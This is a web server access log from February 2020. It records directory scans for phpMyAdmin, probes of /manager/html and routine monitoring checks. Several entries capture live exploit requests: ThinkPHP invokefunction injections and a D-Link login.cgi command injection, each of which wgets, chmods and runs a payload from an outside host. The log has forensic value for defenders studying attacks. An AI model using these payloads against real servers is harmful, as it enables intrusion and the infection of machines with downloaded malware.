45.88.13.118 - - [10/Feb/2020:19:24:10 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:10 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:10 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:10 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:11 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:11 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:11 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:12 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:12 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:12 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:13 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:13 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:13 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:13 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:17 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:17 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:18 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:18 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:18 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:18 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:19 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:19 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:19 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:20 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:21 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:21 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:22 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:22 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:22 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:22 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:23 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:23 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:23 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:24 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:24 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:24 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:24 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:25 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:25 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:25 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:26 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:29 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:29 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:30 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:30 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:30 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:30 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:31 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:31 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:31 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:32 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:33 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:33 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:34 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:19:24:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.88.13.118 - - [10/Feb/2020:19:24:34 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:34 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:34 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:35 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:35 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:35 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:36 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:36 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:36 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:37 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:38 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:41 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
45.88.13.118 - - [10/Feb/2020:19:24:41 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [10/Feb/2020:19:25:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.175.159.7 - - [10/Feb/2020:19:26:10 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:19:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.67.90.103 - - [10/Feb/2020:19:26:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:19:27:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:19:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.177.153.12 - - [10/Feb/2020:19:29:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:19:29:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:19:30:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.162.141.200 - - [10/Feb/2020:19:30:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [10/Feb/2020:19:31:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:19:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.187.195.177 - - [10/Feb/2020:19:32:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:19:33:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:19:34:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.32.3.137 - - [10/Feb/2020:19:35:32 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:19:35:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:19:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:19:37:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:19:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.13.184.106 - - [10/Feb/2020:19:39:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:19:39:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:19:40:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:19:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.11.4.152 - - [10/Feb/2020:19:42:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:19:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:19:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.234.17 - - [10/Feb/2020:19:44:02 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
192.241.234.17 - - [10/Feb/2020:19:44:05 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [10/Feb/2020:19:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:19:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.234.17 - - [10/Feb/2020:19:45:40 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
192.241.234.17 - - [10/Feb/2020:19:45:52 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
192.241.234.17 - - [10/Feb/2020:19:45:58 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
192.241.234.17 - - [10/Feb/2020:19:46:23 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [10/Feb/2020:19:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.16.9.222 - - [10/Feb/2020:19:47:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:19:47:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.234.17 - - [10/Feb/2020:19:48:12 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
5.251.142.64 - - [10/Feb/2020:19:48:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:19:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:19:49:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.85.112 - - [10/Feb/2020:19:50:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:19:50:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:19:51:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.234.17 - - [10/Feb/2020:19:52:24 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [10/Feb/2020:19:52:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [10/Feb/2020:19:53:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [10/Feb/2020:19:53:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:19:53:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [10/Feb/2020:19:53:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [10/Feb/2020:19:54:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
113.22.67.30 - - [10/Feb/2020:19:54:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:19:54:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.56.78.64 - - [10/Feb/2020:19:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
